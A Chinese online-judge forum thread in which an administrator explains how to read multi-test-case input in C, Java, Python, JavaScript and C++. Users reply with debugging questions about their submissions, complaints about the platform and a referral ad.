置顶 OJ输入输出详细讲解
发布于 2019-08-05 15:50 118677 次浏览 18 赞 最后一次编辑是 2019-08-16 14:37 来自 笔试面试  

每次在线笔试OJ的时候,总有一些同学说自己的算法写好了,但是搞不定输入输出,真的挺替这部分同学惋惜的,因此,我决定陆续写一写关于OJ输入输出的教程。也希望有好经验的同学分享下自己的经验。

由于时间有限,一次写一部分,然后可以根据同学的提问再调整下次写的方向,请各位见谅。

今天写第一部分。


 一、输入也是一个简单的算法:

其实,如何写输入也是一个简单的算法,需要同学根据题目描述和输入描述,用程序算法把这些描述准确地模拟出来。

请看这道题目:https://exercise.acmcoder.com/online/online_judge_ques?ques_id=9579&konwledgeId=137&opencustomeinput=true

题目描述:

大学的同学来自全国各地,对于远离家乡步入陌生大学校园的大一新生来说,碰到老乡是多么激动的一件事,于是大家都热衷于问身边的同学是否与自己同乡,来自新疆的小赛尤其热衷。但是大家都不告诉小赛他们来自哪里,只是说与谁是不是同乡,从所给的信息中,你能告诉小赛有多少人确定是她的同乡吗?

输入描述:

包含多组测试用例。

对于每组测试用例:

第一行包括2个整数,N(1 <= N <= 1000),M(0 <= M <= N*(N-1)/2),代表现有N个人(用1~N编号)和M组关系;

在接下来的M行里,每行包括3个整数,a,b, c,如果c为1,则代表a跟b是同乡;如果c为0,则代表a跟b不是同乡;

已知1表示小赛本人。

输入样例:

3 1

2 3 1

5 4

1 2 1

3 4 0

2 5 1

3 2 1


有些同学写不出输入的代码,就在后台提问,我总结主要有两类问题

1、审题不仔细的问题:

比如有同学提问:哎,管理员,你们输入是不是有问题?输入描述里面说“在接下来的M行里,每行包括3个整数”,但是你看样例,第三行“5 4”是两个整数,是不是弄错了?

当然,管理员不会告诉同学为什么第三行是“5 4”,只会让该同学认真审题。

相信大大多数同学都能看出来为什么,因为说的是“在接下来的M行里。。。。。。”,而M=1,所以第三行已经不属于第一个测试用例了,是第二个测试用例的第一行。

2、真的是不会写输入的问题:

又比如有同学提问:管理员,编程题中说包含多组测试用例,但是输入描述中并没有说包含多少组测试用例,那我怎么写输入代码?

确实,如果告诉了有多少组测试用例,输入代码肯定会写得更容易一些。但是,我觉得即使没有告诉有几组测试用例,输入也是可以写出来的。请看这个题目的示例:

// C
#include <stdio.h>
int main()
{
   int N, M;
    // 每组第一行是2个整数,N和M,至于为啥用while,因为是多组。
   while(scanf("%d %d", &N, &M) != EOF) {
      printf("%d %d\n", N, M);
      // 循环读取“接下来的M行”
      for (int i=0; i<M; i++) {
        int a, b, c;
        // 每行是3个整数,a,b,c。
        scanf("%d %d %d", &a, &b, &c);
        printf("%d %d %d\n", a, b, c);
      }
      // M行读取完了,就又要开始下一组了,去while那里。
   }
}
// Javascript
var N, M;
// 每组第一行是2个整数,N和M,至于为啥用while,因为是多组。
while ((N=readInt()) != null && (M=readInt()) != null) {
  print (N + ' ' + M);
  // 循环读取“接下来的M行”
  for (let i=0; i<M; i++) {
    let a = readInt();
    let b = readInt();
    let c = readInt();
    // 每行是3个整数,a,b,c。
    print(a + ' ' + b + ' ' + c);
  }
  // M行读取完了,就又要开始下一组了,去while那里。
}

大家请到https://exercise.acmcoder.com/online/online_judge_ques?ques_id=9579&konwledgeId=137&opencustomeinput=true去练习,可以打开“自定义数据”去练习如何读取输入,然后按照逻辑原封不动把数据输出出来。

二、如何在考试过程中测试输入写法是否正确

  见18楼。

三、待定


225 条回复

https://exercise.acmcoder.com/online/online_judge_ques?ques_id=9579&konwledgeId=137&opencustomeinput=true的Python写法:

#!/usr/bin/env python  
# coding=utf-8  
# Python使用的是3.4.3,缩进可以使用tab、4个空格或2个空格,但是只能任选其中一种,不能多种混用
import math
while 1:
    #每组第一行是N和M 
    nm = list(map(int,input().split(" ")))
    N = nm[0]
    M = nm[1]
    print(str(N) + ' ' + str(M))
    # 接下来M行,每行a b c
    for i in range(M):
      abc = list(map(int,input().split(" ")))
      a = abc[0]
      b = abc[1]
      c = abc[2]
      print(str(a) + ' ' + str(b) + ' ' + str(c))


2019-08-05 16:20
16

https://exercise.acmcoder.com/online/online_judge_ques?ques_id=9579&konwledgeId=137&opencustomeinput=true的java写法:

//package main
//注意不要添加包名称,否则会报错。

import java.io.*;
import java.util.*;

public class Main
{
    public static void main(String args[])
    {
        Scanner cin = new Scanner(System.in);
        int N, M;
        // 读取输入,直到没有整型数据可读
        while(cin.hasNextInt())
        {
          // 读取N 和 M
          N = cin.nextInt();
          M = cin.nextInt();
          System.out.println(String.format("%d %d", N, M));
          // 读取接下来M行
          for (int i=0; i<M; i++) {
            // 读取每行的a b c
            int a = cin.nextInt(),
              b = cin.nextInt(),
              c = cin.nextInt();
            System.out.println(String.format("%d %d %d", a, b, c));
          }
        }
    }
}


2019-08-05 16:25
10
coder_N4YFBM8J 回复 test

请问是一直读取数据吗?

2019-08-05 18:59
test 回复 coder_N4YFBM8J

其实应该写try catch的,但是为了不给大家增加难度,所以只要输出了正确答案,最后一刻的运行时错误系统会忽略的。

2019-08-05 23:12

请问楼组有c++版本的吗

2019-08-06 17:31

https://exercise.acmcoder.com/online/online_judge_ques?ques_id=9579&konwledgeId=137&opencustomeinput=true的C++写法:

#include  <iostream> 
using namespace std;
int main()
{
    int N, M;
    // 每组第一行是2个整数,N和M,至于为啥用while,因为是多组。
    while(cin>> N >> M) {
      cout << N << " " << M << endl;
      // 循环读取“接下来的M行”
      for (int i=0; i<M; i++) {
        int a, b, c;
        cin >> a >> b >> c;
        cout << a << " " << b << " " << c << endl;
      }
    }
    return 0;
}


2019-08-06 17:48
14
test 回复 coder_UBYE2PUN

见下楼

2019-08-06 17:48

楼主,您好,为什么我用while代表多行输入的时候,输入的方法和您的一样,为啥会一直进入无限循环形式呢

2019-08-08 21:00
1

笑死个人,输入输出也是算法

2019-08-09 21:56
68
test 回复 coder_GJ92NQDH

那说明你很牛,但是还有很多同学真的是模拟不出来。希望你能找到好工作。

2019-08-10 16:17
test 回复 coder_F2XGPKF3

可以描述下输入的样例吗?然后贴出你的代码。

2019-08-10 16:18

楼主您好,https://exercise.acmcoder.com/online/online_judge_ques?ques_id=1650&konwledgeId=136,输入输出和题目要求完全一致,自定义数据也能接受到输出结果,但是提交后无法接收结果,提示

说明:
所有测试数据正确率为80.0000011920929%!
可以尝试再次完善代码,并调试,争取全部AC通过

错误数据:
该数据运行时间:152ms
该数据占用最大内存:9692kb
该数据运行结果:答案错误 ( Wrong Answer(WA) )
输入:
2
20
40
您的输出:


代码运行没通过?建议您再仔细阅读编程题须知,现在查看


我的代码如下:

import java.util.Iterator;
import java.util.LinkedList;
import java.util.List;
import java.util.Scanner;

public class Main {
    public static int times = 1;//计次

    public static void main(String[] args) {
        Scanner scanner = new Scanner(System.in);

        List<Integer> students;
        int N = Integer.valueOf(scanner.nextLine()), tmp;
        StringBuilder everyResult = new StringBuilder("");
        String[] result = new String[N];

        for (int i = 0; i < N; i++) {
            //初始化
            tmp = Integer.valueOf(scanner.nextLine());
            students = new LinkedList<>();
            everyResult = new StringBuilder("");
            times = 1;

            for (int j = 0; j < tmp; j++) {
                students.add(j + 1);
            }
            //处理、输出
            outPut(students);
            for (int j = 0; j < students.size(); j++) {
                everyResult.append(students.get(j) + " ");
            }
            result[i] = everyResult.toString();
        }
        scanner.close();
        for (int i = 0; i < N; i++) {
            System.out.println(result[i].substring(0, result[i].length() - 1));
        }
    }

    public static void outPut(List<Integer> Students) {
        if (Students.size() < 4) {
            return;
        }
        if (times % 2 == 0) {
            int step = 2;
            while (step < Students.size()) {
                Students.set(step, null);
                step += 3;
            }
        } else {
            int step = 1;
            while (step < Students.size()) {
                Students.set(step, null);
                step += 2;
            }
        }
        //去空
        Iterator i = Students.iterator();
        while (i.hasNext()) {
            if (i.next() == null) {
                i.remove();
            }
        }
        times++;
        outPut(Students);
    }
}
2019-08-10 16:44
2
test 回复 coder_HYQ5D65B

这是因为数据录入有误,前两行每行多了一个空格。为了程序更加健壮,我建议如果你用scanner.nextLine()时加上.trim(),或者你用scanner.nextInt()这样就更健壮了。下周我会通知试题维护人员把这个训练的数据后面的空格去掉。多谢你发现这个试题的数据错误。

2019-08-10 16:59
test 回复 coder_HYQ5D65B

Exception in thread “main” java.lang.NumberFormatException: For input string: "2 " at java.lang.NumberFormatException.forInputString(NumberFormatException.java:65) at java.lang.Integer.parseInt(Integer.java:580) at java.lang.Integer.valueOf(Integer.java:766) at Main.main(Main.java:15)

2019-08-10 17:00
coder_HYQ5D65B 回复 test

好的,非常感谢,麻烦啦

2019-08-10 18:22

我真的无语了,这段js代码,用你们网站调试由没问题,考试一运行就报错

var n = read_line()-0;

var arr = read_line().split(" ");

var temp = [arr[1]-arr[0]];

var result = []

 for (var i = 1; i < n; i++) {

  var compare = arr[i] - arr[i-1]

   temp.push(Math.abs(compare));

 }

 for (var i = 0; i < n; i++) {

  if (Math.min.apply(null, temp) == Math.abs(arr[i] - arr[i-1])) {

   result.push(arr[i-1] + " " + arr[i])

  }

 }

print(result[0])


输入:

9

1 3 4 7 2 6 5 12 32

输出:

3 4




能告诉我为什么吗?太难受了

2019-08-10 20:27
1

2019-08-10 20:28

是因为注释没关闭的原因啊!!!!!欸,真的很难过啊,一气之下我都放弃考试了。你们应该在网站上特别注释一下容易出现问题的地方的~

2019-08-10 20:29
1
coder_rAa6QcdE 回复 coder_rAa6QcdE

就是考试时一直报错,题目可能不能贴出来?但输入输出用例是一样的

2019-08-10 20:42
test 回复 coder_rAa6QcdE

能私信我你的邮箱或手机号吗?我给你查查你对应的考试账号。

2019-08-10 21:01
test 回复 coder_rAa6QcdE

这位同学,很替你惋惜。我查了你的提交的代码,你在我们练习的网站和你在贝壳考试时提交的代码不一样。你肯定很奇怪,我就是拷贝的为啥还能不一样,是的,就是这么奇怪。因为你没有拷贝注释,而你的注释/*没有关闭啊。太可惜了。你考试时提交的代码见下楼。

2019-08-12 10:21
var n = read_line()-0;
var arr = read_line().split(" ");
var temp = [arr[1]-arr[0]];
var result = []
 for (var i = 1; i < n; i++) {
  var compare = arr[i] - arr[i-1]
   temp.push(Math.abs(compare));
 }
 for (var i = 0; i < n; i++) {
  if (Math.min.apply(null, temp) == Math.abs(arr[i] - arr[i-1])) {
   result.push(arr[i-1] + " " + arr[i])
  }
 }
print(result[0])

/*
			var temp = [arr[1] - arr[0]];
			var result = []
			for (var i = 1; i < arr.length; i++) {
				var compare = arr[i] - arr[i-1]
				temp.push(Math.abs(compare));
			}
			for (var i = 0; i < arr.length; i++) {
				if (Math.min.apply(null, temp) == Math.abs(arr[i] - arr[i-1])) {
					result.push(arr[i-1] + " " + arr[i])
				}
			}
			console.log(result[0])

最后一行少一个 */

2019-08-12 10:21
1
test 回复 coder_rAa6QcdE

见下楼回复。所以以后练习和考试时的代码必须一样,注释也要拷贝过去。往往注释忘了关闭就很冤了!

2019-08-12 10:22
test 回复 test

鉴于这么可惜,各位同学有没有浏览器端的jslint之类的语法检测工具,如果有好用的,推荐给我们,我们集成到考试系统当中去。

2019-08-12 10:23

你们参考一下W3C之类的网站吧

2019-08-12 11:02
2

为什么不做成leet-code那样啊 = =

2019-08-15 11:08
9
test 回复 coder_QEF7H94F

我们其实是支持leet-code模式的,但是一般考试每次都是出新题,是让公司的技术大拿们或者ACM金牌选手来出题,往往输入比较复杂,所以没办法通过程序生成读取输入的代码。而技术大拿们和ACM金牌选手们又很忙,没办法提供20语言的输入读取模板,所以就卡在这里了。不知道你有没有什么简单的办法来支持leet-code模式?

2019-08-15 11:20
coder_QEF7H94F 回复 test

我要知道就不在这刷题了呀。。汗

2019-08-15 14:47
test 回复 coder_QEF7H94F

在什么地方刷题不重要,重要的是要真的提高自己。这样就可以了。

2019-08-15 14:54
test 回复 coder_QEF7H94F

另外,我们网站的题目主要是为了让大家熟悉考试时的输入输出,并不能提高各位的算法能力。要提高算法还真得去leetcode、codeforces等专题网站。

2019-08-15 14:57

师弟师妹,师兄帮你内推阿里巴巴

师兄微信号: alibabazp

师兄专门为你排忧解难,同时赠送相关学习资料。

内推贴:

https://discuss.acmcoder.com/topic/5d50cb6751f256de05b3dd5a


2019-08-15 19:22

我被赛码网坑两次了,希望给个解释,上次贝壳也是

2019-08-15 23:43
16

360 这次笔试,别人代码和我一样全ac,就我一直未通过???怎么回事,输入输出问题?(注,我有输出,没有截图)


2019-08-15 23:45

您好!在哪有可以专门针对输入输出的问题的练习模块,因为输入输出问题,大厂笔试好不容易做出来的题,一直数据调试不通

2019-08-16 08:26
2
test 回复 coder_USE49853

你好,第三行、第八行为什么要加in.nextLine()?去掉这个就可以了。nextInt()没有必要自己去处理nextLine()。

2019-08-16 09:41
test 回复 coder_3VNH7A3W

https://exercise.acmcoder.com/online/online_judge_ques?ques_id=9579&konwledgeId=137&opencustomeinput=true 可以到这里去练习输入输出。对于自定义数据功能,其实是和题目无关的,你可以构建任何输入,然后去查看你的输出。

在考试过程中也有自定义数据的功能,其实大家可以把输入读进去,然后原封不动打印出来,来检测自己的输入写得对不对。

2019-08-16 09:44

在考试过程中,有一些同学老是质疑输入输出是不是有问题,其实这个是有办法检测的,如下图1,在考试过程中,你可以点击“自定义数据”进行数据格式的检测,可以在读取输入的过程中进行输出埋点。

然后点击调试,得到如下图2的结果:

看看结果是不是一致,如果是一致,说明你的输入没有问题,就可以专注自己的算法了。

2019-08-16 14:34
2
2019-08-16 14:41
coder_PMDFWQNH 回复 test

为什么粘贴了以后,运行结果是所有测试均未输出正确结果

2019-08-16 23:08
test 回复 coder_PMDFWQNH

能说详细点吗?是哪个题目,从哪里粘贴的吗?

2019-08-16 23:27
coder_PMDFWQNH 回复 test

就是你这段代码啊,怎么也通过不了啊

2019-08-17 09:35

对  js 太友好了

2019-08-17 21:53
3
coder_EHRBCTCE 回复 coder_USE49853

这儿也是。

2019-08-17 22:00

你们能不能把这蔡徐坤一样的输入输出,写清楚点。。。。 你们那个文档跟没有似的。。。 [程题考试须知](http://oj.acmcoder.com/ExamNotice.html)

2019-08-17 22:05
感觉对c++ 很不友好啊,请帮忙看看这个为啥输出错误还是输入错误?谢谢
#include <iostream>
#include <string>
#include <vector>
using namespace std;
void fun(string& str, int i, int j);
string ReverseSentence(string str) {
	fun(str, 0, str.size() - 1); 
	int s = 0, e = 0;
	int i = 0;
	while (i < str.size())
	{
		while (i < str.size() && str[i] == ' ') 
			i++;
		e = s = i; 
		while (i < str.size() && str[i] != ' ') 
		{
			i++;
			e++;
		}
		fun(str, s, e - 1); 
	}
	return str;
}
void fun(string& str, int i, int j) {
	while (i < j) {
		swap(str[i], str[j]);
		i++;
		j--;
	}
}
int main() {
	string s;
	getline(cin, s);
	string ss = ReverseSentence(s);
	for (int i = 0; i < ss.size(); i++) {
		if (ss[i] == ' ' && ss[i + 1] == ' ')
			continue;
		cout << ss[i];
	}
	//cout << endl;
	system("pause");
	return 0;

}


2019-08-18 16:36
1
test 回复 coder_PMDFWQNH

这个肯定通过表了,这是让你看如何输入输出,让你测试用的。

2019-08-19 09:12
test 回复 coder_EHRBCTCE

谢谢你理解我!除了原有的read_line api,我特意新增了readInt,readDouble等api,让读入数字更舒服一点。

2019-08-19 09:14
test 回复 coder_EHRBCTCE

可以,我们尽量写的清楚一点。比如你能否提供个思路,先写什么,后写什么,或者提纲之类的。

2019-08-19 09:16
test 回复 test

或者其他人有思路,可以列个提纲,我们一一补充。

2019-08-19 09:17
test 回复 coder_9WDKRV24

至少倒数第四行system(“pause”);需要去掉

2019-08-19 09:19

javascript是不能用ES6 语法写是吗?

2019-08-21 13:53
coder_2qSMRoBU 回复 test

尝试了python的这个输入输出代码,在自己的pycharm上可以输出,去题目下面测试是没有任何输出结果……

2019-08-21 15:13
test 回复 coder_T6NBJZ5E

支持的!

2019-08-21 17:17
test 回复 coder_2qSMRoBU

能贴出代码吗?

2019-08-21 17:17

请问这个输入该怎么处理?无法理解,不给预期有多少组数,这谁知道啥时候读完了啊!之前360还是贝壳就有一道这种智障题目!

2019-08-22 10:21
1
test 回复 coder_EDMTGH4P

题干的下面就有“参考答案”,里面有示例代码。我建议你不要轻易骂人,360和贝壳都是他们自己工程师出的题目,如果你有幸进入这些公司,没准和出题官成为同事呢。不要骂人啊!!!!!!

2019-08-22 10:34

python为什么最后一行的数据没办法获取到?

sit = []
arr = []
:
    nm = ((().split()))
    n = nm[]
    m = nm[]
    ()
    sit.append([nm])
    (sit)
    i (m):
        abc = ((().split()))
        a = abc[]
        b = abc[]
        c = abc[]
        arr.append([abc])
        (arr)


2019-08-22 11:16

我试了,能读到的。你把你的代码重新贴一下,看不见。

#!/usr/bin/env python  
# coding=utf-8  
# Python使用的是3.4.3,缩进可以使用tab、4个空格或2个空格,但是只能任选其中一种,不能多种混用
while 1:
  a=[]  
  s = input()
  
  if s != "":
    arr = s.split()
    print(arr)
  else:
    break

2019-08-22 11:34

那个水仙花数的输入怎么处理啊,我找不到这个题

2019-08-22 13:59

水仙花:

import java.util.Scanner;
public class Main{
    public static void main(String args[]){
          Scanner reader=new Scanner(System.in);
          while(reader.hasNextInt()){
              int m=reader.nextInt();
              int n=reader.nextInt();
              if(100<=m&&m<=n&&n<=999){
                  int j=0;
                  for(int i=m;i<=n;i++)
                  {
                      int geWei,shiWei,baiWei;
                       baiWei=i/100;
                       shiWei=(i-baiWei*100)/10;
                       geWei=i-baiWei*100-shiWei*10;
                   if(i==geWei*geWei*geWei+shiWei*shiWei*shiWei+baiWei*baiWei*baiWei)
                   {j=j+1;
                   if(j>1){
                       System.out.print(" "+i);
                   }
                   else{
                       System.out.print(i);
                   }
                    
                   }
                               }
                  if(j==0){
                      System.out.print("no");
                  }
                  System.out.println();
              }
          }
    }
}


2019-08-22 14:13
甜美果汁 回复 test

niubilyty

2019-08-22 14:54

题目 输入一行

[[0,1,1,1],[0,0,1,0],[0,1,1,0],[0,0,1,0]] 

这种读进来还是数组嘛???

2019-08-22 17:10
test 回复 coder_xV1NENam

肯定不是,就是个字符串,得自己转。我考试时是这么写的,见下楼:

2019-08-22 17:26
let s1 = read_line();
let s2 = read_line();
function split(s) {
    var arr = s.split(',');
    for (let i=0; i<arr.length; i++) {
        arr[i] = parseInt(arr[i]
                          .replace('[', '')
                          .replace('[', '')
                          .replace(']', '')
                          .replace(']', ''));
    }
    return arr;
}
s1 = split(s1);
s2 = split(s2);
//print(s1);
var arr1 = [];
for (let i=0; i<4; i++) {
    arr1.push([s1[4*i], s1[4*i+1], s1[4*i+2], s1[4*i+3]]);
}

for (let i=0; i<s2.length; i=i+2) {
    let x = s2[i]-1;
    let y = s2[i+1]-1;
    //print(x, ",", y);
    if (x-1>=0) {
        arr1[x-1][y] = 1-arr1[x-1][y];
    }
    if (y+1<=3) {
        arr1[x][y+1] = 1-arr1[x][y+1];
    }
    if (x+1<=3) {
        arr1[x+1][y] = 1-arr1[x+1][y];
    }
    if (y-1>=0) {
        arr1[x][y-1] = 1-arr1[x][y-1];
    }
}
var s = [];
for (let i=0; i<4; i++) {
    s.push('[' + arr1[i].join(',') + ']');
}
print('[' + s.join(',') + ']');


2019-08-22 17:26

while True:

    N, M = map(int, input().split())

    print(N,M)

    for j in range(M):

    a, b, c =  map(int, input().split())

        if c == 1:

        print(a,b,c)


请问这个为什么运行没有输出呢

2019-08-23 00:01


while True:
    N, M = map(int, input().split())
    print(N,M)
    for j in range(M):
    	a, b, c =  map(int, input().split())
        if c == 1:
        	print(a,b,c)

请问这个为什么没有结果输出呢

2019-08-23 00:05
test 回复 coder_16W3cw69

缩进可以使用tab、4个空格或2个空格,但是只能任选其中一种,不能多种混用;

2019-08-23 09:50
test 回复 coder_16W3cw69

缩进可以使用tab、4个空格或2个空格,但是只能任选其中一种,不能多种混用; 针对这种情况,我们给python特意加了个检测,如果缩进不合法,现在会提示的: Sorry: TabError: inconsistent use of tabs and spaces in indentation (Main.py, line 6)

另外,我们考试时会把空格和Tab显示出来的,但是训练时的界面还没加,一会儿我们也加上。

2019-08-23 09:52

谁能告诉我这是为啥

2019-08-23 21:41

垃圾,真TM垃圾,全死在输入上。

2019-08-23 21:46
7
coder_JVA4NPWG 回复 coder_USE49853

死在输入上,什么垃圾玩意

2019-08-23 21:50

哇这个对c++太难受了,头文件也缺命名空间也缺,我这笔试调了半天输入输出..

2019-08-23 22:03
test 回复 coder_YXY6EW2V

第七行错了

2019-08-23 22:18
test 回复 coder_JVA4NPWG

高分的有的是,麻烦你举个例子!别骂。你觉得应该怎样弄?给个建议。

2019-08-23 22:19
test 回复 coder_ZSU594Y9

标准的c++安装,不装特别的库。有些时候可能你读取输入是对的,就是算法没对,这种情况我见得很多。要有耐心调试!你也可以举个例子。

2019-08-23 22:21
coder_7WYYMR8R 回复 coder_2qSMRoBU

import math while 1: nm = list(map(int,input().split(" “))) N = nm[0] M = nm[1] price=sorted(list(map(int,input().split(” "))))

things=[]
for i in range(M):
    m=list(map(str,input()))
    things+=m
num=len(set(things))
min_num_price=[]
for i in range(num):
    min_num_price.append(price[i])
max_num_price=[]
for i in range(len(price)-num,len(price)):
    max_num_price.append(price[i])

jishu=[]
for i in set(things):
    jishu.append(things.count(i))
jishu_min=sorted(jishu,reverse=True)
jishu_max=sorted(jishu)

minp=0

maxp=0
for i in range(len(jishu_min)):
    minp+=jishu_min[i]*min_num_price[i]
    maxp+=jishu_max[i]*max_num_price[i]

print(minp,maxp)
2019-08-24 14:39
test 回复 coder_7WYYMR8R

你那个split里面的双引号有一个是全角的

2019-08-24 14:54

麻烦帮忙看一下为什么这个没有输出

import pandas as pd

import numpy as np

while True:

    n, w, h = map(int,input().split())

    e = pd.DataFrame(np.zeros([n,2]),columns=['w','h'])

    for i in range(n):

        a,b = map(int,input().split())

        e.iloc[i,0], e.iloc[i,1]= a,b


    en = []

    count = 0

    while not e.empty:

        for i in range(len(e)):

            if e.iloc[i,0]<w or e.iloc[i,1]<h:

                e = e.drop([i])

        k = e['w'].argmin()

    #     print(k)

        en.append(k+1)

        w,h = e.loc[k,'w'], e.loc[k,'h']

        e = e.drop(k)

    #     print(e)

        count += 1   

    print(count)

    for i in range(count):

        print(en[i],end=' ')


    # print(en)



2019-08-24 14:54
test 回复 coder_4XYFHmI9

pandas库没有啊!所有的编程环境都是默认安装。如果我们手动安装了某些库,会在题目中告诉大家的。

2019-08-24 14:57
为什么没输出啊? tab键 空格都试过了

2019-08-24 17:20

matlab 总是无输出,能指教一下吗?


2019-08-24 17:34
test 回复 coder_cPnfBx8l

price[n-j]越界了!我告诉你一个调试的方法,见39楼。

2019-08-24 17:46

python确实调试比较困难,像37楼可以这样一步一步调试:

n, m = map(int, input().split())
price = list(map(int, input().split()))
#print(n, m, price)
dic = {}
for i in range(m):
  food = input()
  dic[food] = dic.get(food, 0) + 1
#print(dic)
d = sorted(dic.items(), key=lambda x:x[1],reverse=False)
print(d)
res_min = 0
res_max = 0
for j in range(len(d)):
  print("j", j)
  print("d[j][1]", d[j][1])
  print("price[j]", price[j])
  print("price[n-j]", price[n-j])
  res_min += d[j][1]*price[j]
  res_max += d[j][1]*price[n-j]
print(res_min, res_max)


2019-08-24 17:47
test 回复 test

按照你的样例,得到如下输出,price[n-j]没打印出来,说明越界了:

 [('orange', 1), ('apple', 1), ('mongo', 1)]

 j 0

 d[j][1] 1

 price[j] 4

2019-08-24 17:48
test 回复 coder_TKQBTDDM

OOM明显是内存超了,就是说你的代码陷入死循环了,29配33明显死循环。我给你加个调试就能看出来,见下楼。

2019-08-24 17:57

2019-08-24 17:58

谢谢楼主,习惯了java c什么的用到JavaScript直接蒙圈

2019-08-24 17:58
test 回复 test

你看下楼,在没有等到OOM时,输出已经超限了,提前结束了。所以就是我加print的地方死循环了。

2019-08-24 17:59
test 回复 coder_cgD4Klf1

matlab还在测试中,考试不会考。你能具体贴出代码吗?

2019-08-24 17:59

请问考试的时候需要使用sys.stdout.write()输出,但是无输出是怎么回事?

在线编程练习里也是使用的print,没有说让用sys.stdout.write(),每次考试都卡壳在这里,无法输出信息。

比如

sweet = input()  # sweet = 1 2 3

sys.stdout.write(sweet)  # 此处可以输出sweet的值

dict = {}

for i in sweet:

    if i in d:

            d[i] += 1

    else:

            d[i] = 1

for key,value in dict.items():

    sys.stdout.write(str(key))  # 此处却无法输出任何值


2019-08-24 20:55
test 回复 coder_P9SJAKR5

if i in d 这个d在哪里呢?

2019-08-24 21:05

给 js 增加 print 作为输出方式,却不支持最常见的 console.log ,是否算是对 js 开发者的一个陷阱?来自一个全程使用 console.log 的受害者

2019-08-24 21:33
1
test 回复 coder_XJSSC2SB

确实很遗憾,这是原版的js v8,是没有console.log的,所以应该提前进去练习。如果你想用console.log,可以选Nodejs。再一次对你的遭遇表示遗憾,下次努力!

2019-08-24 22:02

就是上面的dict,d是上面的dict,是我这里打错了,但是sys.stdout.write还是无输出

2019-08-25 03:26
test 回复 coder_P9SJAKR5

你自己能在本地先测试下吗?把dict写对,然后在第一行import sys是有输出的。

2019-08-25 09:37

请问楼主有R的写法吧,调试了好多次出不来

2019-08-26 19:40
2

请问一下当输入多组测试案例时,输出时是每一组数据输出一个结果,还是读完全部测试数据后输出一个结果

2019-08-27 18:42
test 回复 coder_G2W3J6AJ

都可以

2019-08-27 20:07
test 回复 coder_d0oi6T4H

R我不熟,等我有空时给你写个。a+b是这样写: con <- file(“stdin”, “r”)
a = readLines(con, n = 1) b = readLines(con, n = 1) while (a!="" && b!="") { c = as.numeric(a) + as.numeric(b) cat(format(c, scientific = FALSE)) cat(’\n’) a = readLines(con, n = 1) b = readLines(con, n = 1) } close(con)

2019-08-27 20:08

为什么不能检测自己读取的输入是否正确呢,前面18楼说的自定义数据,实际根本不会显示错误信息的, 就只有提示未输出正确结果,太不友好了吧



2019-08-27 20:49
test 回复 coder_C3IpSQJq

嗯,有理。自定义数据时应该把运行时错误信息打印出来(下一版更新)。正式运行时肯定不能打印的,因为可能考生会把不能对外暴露的测试数据打印出来。

2019-08-27 20:58
test 回复 coder_C3IpSQJq

特别鼓励各位考生提这种建设性的意见。

2019-08-27 20:58
coder_C3IpSQJq 回复 coder_C3IpSQJq

我用js, 为什么把直接自定义数据测试样例都会报错,本地有结果 ;而且我把样例结果直接输出来,也会报错,为什么

2019-08-27 21:19
coder_C3IpSQJq 回复 test

既然自定义数据的错误信息不会打印出来,那为什么18楼要那样说,还还是说考试时不会,但自己线下做的时候会

2019-08-27 21:22
test 回复 coder_C3IpSQJq

自定义数据时你应该在各比较关键的地方多写点print进行调试,这些信息是会打印出来的。我刚才说的没打印出来的是java的runtime error.

2019-08-27 21:53
test 回复 coder_C3IpSQJq

你可以把代码和测试数据贴出来

2019-08-27 21:54
coder_C3IpSQJq 回复 test

输入数据: 3 3 1 3 3 2 2 2 3 2 1 输出:9 var line; var arr=[] while( (line=read_line()) !== null ){ arr.push(line.split(" ")) } 你看一下读取数据这部分代码有问题吗

2019-08-27 22:28
coder_C3IpSQJq 回复 coder_C3IpSQJq

js按行读入有坑,会读入非常多的空???

2019-08-27 22:38
test 回复 coder_C3IpSQJq

因为line永远是一个String对象,你那个null得改成""。 你可以在console里面试一下: var a = new String();//空字符串对象 console.log(a!=null);//true console.log(a!="");//false

2019-08-28 18:49

[@ALL](/user/ALL) 在自定义数据调试时,runtime error可以打印出来了。

2019-08-28 23:11

Javascript(V8)好像没有runtime error这一说,所以需要自己在各个关键点加print去自定义数据调试!!!!!!!!

2019-08-28 23:13

但是Js如果关键词写错了这些类似的错误,在自定义数据调试时可以打印出来,但是在正式运行时不能打印。

vra a = readInt(), b = readInt();
print(a, b);

您的自定义数据输出如下:

Main.js:1: SyntaxError: Unexpected identifier
vra a = readInt(), b = readInt();
    ^
SyntaxError: Unexpected identifier


2019-08-28 23:22

while 1:

    N,M=map(int,input().split())

    print(str(N) + ' ' + str(M))

    for i in range(M):

        a,b,c=map(int,input().split())

        print(str(a) + ' ' + str(b) + ' ' + str(c))


2019-08-31 18:26

这个输入输出啊。。。。

2019-09-01 16:11

这边建议以后能不能每次选好语言之后给一两个很简单的例题,主要是为了给出带输入输出的官方实例代码!一加一等于二这种就行!我也遇到了几次意外,真心希望oj能够把体验做更好~

2019-09-03 11:58
1
test 回复 coder_z0YyXgJd

http://oj.acmcoder.com/ExamNotice.html#demo 这里全程都可以看。

2019-09-03 13:29
coder_K96MQDQZ 回复 coder_F2XGPKF3

可能是你把!=写成!==了

2019-09-03 15:07

  这个为什么错误?

2019-09-04 18:30
test 回复 coder_XRHbqqGh

for明显少了一个花括号啊。。。。。。

2019-09-04 18:37

垃圾网站啊,明明A出来了,跪在输入输出上,真是大写的服

2019-09-06 22:57
1
test 回复 coder_DPGQQAJK

你自己不会输入输出赖着网站什么事?举个例子吧!

2019-09-06 23:44

你好,我今天做爱奇艺的笔试,发现了一个问题,C++代码在VS调试的时候经常会在return 0之前添加system("pause");语句来确保输出之后看到结果,LeetCode粘上这个语句是不会有影响的,但是你们赛码网,粘上这个语句,就会显示运行错误

上图是我在你们这随便找的一个题,直接粘正确答案是可以AC的,但是加了这行就用例过百分之0,害得我两道题写出来了,自测都过了,但是提交都0%,这个语句是C++VS下常用的,建议做一下处理,不然大部分平台都可以,但你们这不行就太坑了

2019-09-08 20:44
coder_Z9QR9WEZ 回复 test

长点心吧,人家的意思是你们把输入输出搞得那么糟糕,忽略了算法才是考核的核心好么,别一副我菜我有理的样子

2019-09-09 13:56
test 回复 coder_Z9QR9WEZ

那请您告诉我,什么样的输入输出才不糟糕?

2019-09-09 19:47
coder_ntfkJnjI 回复 coder_GJ92NQDH

解决输入输出也是算法的一部分啊,为什么要指望系统给你把输入输出解决了,然后只写个算法的核心呢

2019-09-10 17:35
coder_EY2RMVXH 回复 coder_F2XGPKF3

我也一直疑惑, 这个结束输出的条件是什么,因为用while能保证输入多组,但是不能进入求解过程里面。我用的C++

2019-09-11 13:11

